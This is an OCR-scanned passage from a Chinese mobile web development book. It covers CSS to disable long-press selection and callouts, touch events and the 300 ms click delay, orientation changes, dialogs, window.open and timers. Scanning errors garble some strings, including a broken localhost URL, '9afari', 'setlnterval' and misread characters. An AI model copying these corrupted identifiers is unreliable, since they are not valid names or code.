使 得 页 面 弹 出 用 户 选 中 对 话 框 。 如 果 由 于 在 页 面 中 触摸 长 按 而 导致 非 预 期 的 对 话 框 出 现 ， 势 必 会 干扰 用 户 的 后 续 操作 ， 降 低 用 户 体验 。 此 外 ， 在 移动 版 浏览 中 ， 一 个 惯用 的 代 蔡 在 PC 端 浏 览 器 中 右键 单 击 效 
果 的 方案 就 是 触摸 长 按 。 如 果 在 这 样 的 操作 中 弹出 选中 对 话 框 ， 则 更 是 严重 影响 用 户 体验 。 推 荐 的 做 法 是 禁用 这 些 控件 上 的 选中 效果 。 具 体 实现 方法 很 简单 ， 应 用 如 下 的 CSS 样 式 到 对 应 的 控件 即 可 。 























































































































































































































-webkit-user-select: none; 
-moz-user-select: none; 
-ms-user-select: none; 
user-select: none; 




















类 似 的 弹出 对 话 框 也 会 出 现在 页 面 的 超 链接 中 。 当 长 按 一 个 超 链接 时 ， 出 现 一 个 操作 超 链接 的 对 话 框 。 图 12-13 展 示 的 是 在 移动 版 9afari 中 ， 长 按 一 个 超 链 接 后 弹出 的 对 话 框 。 


http:Wiocalhost.63342/moblleTemplatemmail html 


Open 
Open in New Page 


Add to Reading List 


























如 果 不 希 望 出 现 这 样 的 效果 ， 则 同样 可 以 通过 CSS 样 式 来 禁用 ， 代 码 如 下 : 











-webkit-touch-callout: none; 


12.2.3 Javascript 相关 最 佳 实践 








(1) 使 用 移动 平台 中 特有 的 事件 处 理 







































































丰富 的 页 面 交 互 ， 意 味 着 页 面 中 有 大 量 的 响应 用 户 操作 ， 完 成 这 些 操作 则 是 利用 了 各 种 事件 的 处 理 。 在 PC 端 Web 前 端 开发 中 常见 的 事件 处 理 有 鼠标 单 击 、 键 盘 输入 等 。 和 鼠标 操作 相关 的 事件 包括 
mouseover、mousemove、mousedown、mouseup 及 click; 和 键盘 输入 相关 的 事件 包括 keydown、keyup 和 keypress。 在 移动 设备 中 由 于 交互 方式 的 改变 ， 事 件 处 理 的 方式 也 和 PC 端 不 同 了 。 在 移动 
端的 浏览 器 中 ， 由 于 操作 的 方式 主要 是 手势 ， 因 此 添加 了 整套 的 手势 触摸 事件 ， 包 括 touchstart、touchmove、touchend 和 touchcancel。 













































































先 说 一 下 移动 平台 的 触摸 事件 。 在 移动 平台 中 加 入 触摸 事件 使 得 事件 处 理 变 得 复杂 了 一 些 ， 因 为 为 了 和 传统 的 鼠标 事件 兼容 ， 在 移动 浏览 器 中 也 加 入 了 鼠标 事件 的 模拟 。 在 触摸 点 击 屏幕 时 ， 触 摸 事 件 
和 鼠标 事件 会 依次 触发 ， 假 设 在 移动 设备 上 点 击 了 浏览 器 页 面 ， 则 依次 会 触发 如 下 的 事件 : touchstart、touchmove、touchend、mouseover、mousemove、mousedown、mouseup 和 click。 在 移动 
平台 中 可 以 触发 click 事 件 ， 是 大 部 分 PC 端 网 页 可 以 兼容 移动 平台 的 一 个 重要 因素 。 但 遗憾 的 是 ， 在 主流 移动 浏览 器 中 ， 触 发 鼠标 事件 会 滞后 300 毫 秒 。 这 样 设 计 的 原因 是 浏览 器 需要 时 间 来 判断 用 户 是 否 通 
过 手势 操作 来 缩放 页 面 。300 毫 秒 是 人 类 可 以 察觉 到 的 延迟 。 如 果 在 移动 端 仅仅 绑 定 click 事 件 来 处 理 用 户 触摸 点 击 的 响应 ， 则 会 影响 用 户 的 体验 。 于 是 ， 开 发 者 就 需要 在 移动 浏览 器 中 重新 模拟 一 个 类 似 于 
click 的 事件 避免 300 毫 秒 的 延迟 。 大 部 分 主流 移动 Web 框 架 中 也 实现 了 这 样 的 模拟 效果 ， 并 取 名 为 tap 事 件 。 同 时 也 会 实现 另 一 个 taphold 事 件 ， 用 于 代 蔡 在 PC 端 浏 览 器 的 右键 单 击 事件 。 这 两 个 自 定义 事件 
都 是 由 基本 的 触摸 事件 组 合 模拟 ， 并 通过 一 定 的 时 间 间 隔 判 断 来 决定 触发 tap 事 件 还 是 taphold 事 件 。 如 果 期 望 更 深入 地 了 解 这 两 个 模拟 事件 的 实现 方式 ， 推 荐 阅读 各 移动 Web 框 架 的 源 代 码 。 

































































































































































































































































移动 平台 中 引入 的 另 一 个 很 有 用 的 事件 处 理 是 屏幕 横竖 切换 事件 (orientation-change) 。 在 移动 平台 的 原生 应 用 中 ， 系 统 提供 了 禁止 屏幕 横竖 屏 切 换 的 功能 。 但 是 在 主流 的 移动 浏览 器 中 ， 并 没有 提 
供 一 个 可 以 禁止 横竖 屏 切 换 的 接口 ， 即 移动 Web 开 发 者 无 法 通过 代码 的 设置 来 禁止 屏幕 横 坚 屏 切 换 。 移 动 版 的 Firefox 中 实现 了 一 个 禁止 横竖 屏 切 换 的 接口 四， 但 目前 支持 的 浏览 器 很 少 ， 无 法 在 实际 的 项 目 
中 使 用 。 也 有 开发 者 实现 了 一 个 hack 的 方案 ("来 模拟 禁止 横竖 屏 切 换 ， 但 这 种 方案 毕竟 是 “投机 取 巧 ”的 方法 。 推 荐 的 做 法 是 ， 利 用 orientationchange 事 件 来 切换 横竖 屏 显 示 时 的 效果 设置 ， 或 者 在 不 推 
荐 的 屏幕 显示 模式 中 显示 提示 信息 ， 让 用 户 切 换 到 最 佳 的 模式 。 



































































































































































































































(2) 谨慎 使 用 标准 对 话 框 ， 避 免 弹出 窗口 

















在 Web 页 面 中 ， 标 准 对 话 框 是 比较 多 见 的 元 素 。 这 些 标准 对 话 框 包括 alert、confirm、prompt 及 print 等 。 在 主流 的 移动 版 的 浏览 器 中 ， 这 些 标 准 对 话 框 也 得 到 了 很 好 的 支持 。 不 过 ， 在 各 个 平台 的 浏 
览 器 中 ， 标 准 对 话 框 的 外 观 差异 较 大 ， 因 此 ， 为 了 在 各 平台 浏览 器 中 有 统一 的 外 观 ， 建 议 使 用 模拟 的 对 话 框 来 代替 标准 对 话 框 。 大 部 分 的 移动 Web 框 架 都 提供 了 大 量 的 自 定义 对 话 框 ， 这 些 自 定义 的 对 话 框 






















































































包括 了 标准 对 话 框 的 功能 ， 同 时 又 具有 了 跨 平台 跨 浏览 器 的 统一 外 观 。 图 12-14 展 示 了 Sencha Touch 框 架 中 提供 的 对 话 框 。 
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图 12-14 SenchaTouch 框 架 中 提供 的 自 定义 对 话 框 


另外 一 种 常见 的 弹出 控件 是 标准 的 弹出 窗口 。 在 PC 端 网 页 中 ， 经 常会 通过 使 用 window.open 来 打开 一 个 弹出 的 窗口 。 但 是 ， 在 移动 版 浏览 过 程 中 ， 其 打开 的 效果 很 不 理想 ， 甚 至 很 多 的 浏览 器 都 不 支 
持 打开 弹出 窗口 ， 有 些 移动 版 在 浏览 时 会 直接 在 当前 窗口 打开 或 者 在 新 tab 中 打开 ， 而 不 是 弹出 窗口 。 例 如 ， 在 移动 版 的 Safari 中 ， 如 果 使 用 window.open 打 开 一 个 链接 ， 则 会 以 新 tab 的 方式 打开 指定 的 链 
接 。 基 于 这 样 的 限制 ， 在 移动 Web 开 发 中 ， 应 该 避免 使 用 window.open 打 开 新 窗口 。 


(3) 谨慎 使 用 Timer 


在 PC 端的 前 端 开发 中 ， 经 常会 使 用 setinterval () 和 setTimeout () 这 两 个 函数 来 完成 一 些 多 个 或 单 次 的 定时 任务 。 这 些 任务 运行 时 界面 上 并 不 会 有 任何 的 体现 ， 属 于 后 台 任务 。 在 大 部 分 的 智能 设备 
中 ， 当 页 面 处 于 隐藏 状态 ( 即 用 户 点 击 了 返回 主 菜单 ， 或 者 打开 其 他 应 用 ,或 者 浏览 器 中 打开 了 新 的 tab， 或 者 智能 设备 屏幕 关闭 ) 时 ， 正 在 浏览 的 页 面 会 处 于 锁定 状态 ， 页 面 中 的 JavaScript 代 码 会 停止 执 
行 。 目 前 ， 大 部 分 主流 移动 版 浏览 器 都 遵循 了 这 样 的 设计 ， 只 有 Android 版 的 Chrome 浏 览 器 在 浏览 器 转 入 后 台 时 仍然 执行 JavaScript 代 码 。 因 此 ， 如 果 在 移动 Web 应 用 中 设计 了 Timer 任 务 ， 则 有 可 能 出 现 
不 可 预期 的 结果 。 例 如 ， 使 用 setlnterval () 间隔 发 送 一 些 固定 的 消息 ， 如 果 切 换 当 前 页 面 为 不 可 见 时 ， 页 面 会 停止 发 送 这 些 固 定 消息 。 在 开发 中 需要 考虑 这 样 的 情况 ， 避 免 影响 页 面 的 功能 。 


即使 javaScript 代 码 能 正常 执行 ， 页 面 中 Timer 的 行为 也 可 能 会 有 问题 。 例 如 ， 在 使 用 setinterval () 时 ， 如 果 时 间 设 置 间隔 小 于 1 秒 ， 则 在 移动 设备 上 运行 时 ， 并 不 一 定 会 按照 预期 设 定 的 时 间 执行 
Timer 任 务 ， 而 是 比 设 定时 间 长 。 有 些 老 上 日 移动 设备 甚至 不 执行 任何 小 于 1 秒 的 Timer 任 务 。 因 此 ， 在 移动 Web 开 发 中 ， 要 避免 使 用 Timer 来 完成 需要 准确 控制 时 间 的 任务 。 
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